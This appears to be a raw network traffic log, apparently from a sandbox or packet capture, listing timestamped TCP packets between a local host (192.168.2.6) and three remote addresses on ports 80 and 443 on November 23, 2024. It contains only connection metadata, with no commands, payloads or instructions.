Nov 23, 2024 19:52:51.238471031 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.238535881 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.238554001 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.245563984 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.245636940 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.245651960 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.249155045 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.249233007 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.249239922 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.251203060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.251256943 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.251302958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.251336098 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.255563021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.255635023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.255635977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.255672932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.259071112 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.259141922 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.259161949 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.264317989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.264388084 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.267544985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.267595053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.267642021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.267724991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.268623114 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.268856049 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.268901110 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.274936914 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.275032997 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.275064945 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.276247978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.276319027 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.276336908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.276437998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.283096075 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.283154011 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.283175945 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.285001993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.285073996 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.285098076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.285137892 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.289940119 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.289999962 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.290030003 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.292367935 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.292433977 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.292454004 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.293719053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.293768883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.293819904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.293909073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.299319983 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.299422979 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.299452066 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.300414085 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.300501108 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.300518036 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.302503109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.302584887 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.302604914 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.302701950 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.306721926 CET	443	49860	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.306787968 CET	49860	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.308800936 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.308878899 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.308891058 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.311235905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.311284065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.311305046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.311350107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.315705061 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.315769911 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.317482948 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.317543030 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.317552090 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.320137024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.320192099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.320214987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.320292950 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.328689098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.328744888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.328795910 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.328851938 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.337455034 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.337515116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.337636948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.337758064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.343310118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.343348026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.343375921 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.343410015 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.349167109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.349222898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.349332094 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.349380970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.354744911 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.354770899 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.354974031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.355019093 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.355066061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.355070114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.355257988 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.355272055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.355300903 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.355361938 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.355567932 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.355581999 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.355753899 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.355767012 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.360805988 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.360846043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.360913038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.360946894 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.363347054 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.363609076 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.363624096 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.364248037 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.364713907 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.364732981 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.366662979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.366723061 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.366728067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.366763115 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.366902113 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.367027044 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.367043972 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.369793892 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.369878054 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.369894028 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.372522116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.372534990 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.372597933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.375247955 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.375287056 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.375338078 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.375346899 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.375415087 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.377985001 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.378340960 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.378397942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.378442049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.378530979 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.380242109 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.380347013 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.380357981 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.384201050 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.384293079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.384301901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.384337902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.384772062 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.384877920 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.384886980 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.390026093 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.390108109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.390145063 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.390187025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.392673969 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.392765045 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.392776966 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.395941973 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.395952940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.396095037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.399307966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.399403095 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.399517059 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.405312061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.405431986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.405555010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.410965919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.411848068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.425457001 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.426779985 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.426796913 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.427261114 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.427546978 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.427563906 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.436589003 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.436677933 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.436697006 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.438441992 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.438488960 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.438508987 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.444236040 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.444298029 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.444320917 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.449546099 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.449599028 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.449625015 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.452395916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.452450991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.452507973 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.452645063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.455159903 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.455241919 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.455245018 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.455260992 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.455331087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.455354929 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.455379009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.455387115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.455421925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.456245899 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.456392050 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.456434965 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.456486940 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.461136103 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.461242914 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.461267948 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.461297989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.467024088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.467073917 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.467191935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.467242956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.472871065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.472918987 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.473000050 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.473043919 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.478704929 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.478775978 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.478821039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.478899002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.484569073 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.484647036 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.484698057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.484743118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.490411997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.490494967 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.490556002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.490621090 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.496212959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.496274948 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.496325970 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.496368885 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.500322104 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.500396967 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.500425100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.500514030 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.504017115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.504085064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.504116058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.504245996 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.507735014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.507837057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.507858992 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.507878065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.511400938 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.511504889 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.511565924 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.515027046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.515099049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.515153885 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.518717051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.518794060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.518824100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.518867970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.522332907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.522414923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.522468090 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.526002884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.526084900 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.526124001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.526163101 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.528672934 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.528722048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.528783083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.528860092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.531349897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.531407118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.531434059 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.531469107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.533654928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.533673048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.533699036 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.533726931 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.536005974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.536079884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.536118031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.536287069 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.538362026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.538408041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.538450003 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.538482904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.540724993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.540769100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.540821075 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.540874004 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.543106079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.543128967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.543215990 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.545452118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.545583963 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.545655966 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.547804117 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.547863007 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.547918081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.547975063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.550160885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.550220013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.550290108 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.550383091 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.552544117 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.552620888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.552639961 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.552746058 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.554886103 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.554934978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.554936886 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.554974079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.557275057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.557327986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.557358027 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.557614088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.559602022 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.559650898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.559664965 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.559706926 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.561974049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.562030077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.562064886 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.562134027 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.564352989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.564418077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.564429998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.564656973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.566715956 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.566808939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.566848993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.566848993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.569056034 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.569166899 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.569272041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.569272041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.571384907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.571702003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.593734026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.593818903 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.593831062 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.594163895 CET	49831	80	192.168.2.6	185.215.113.206
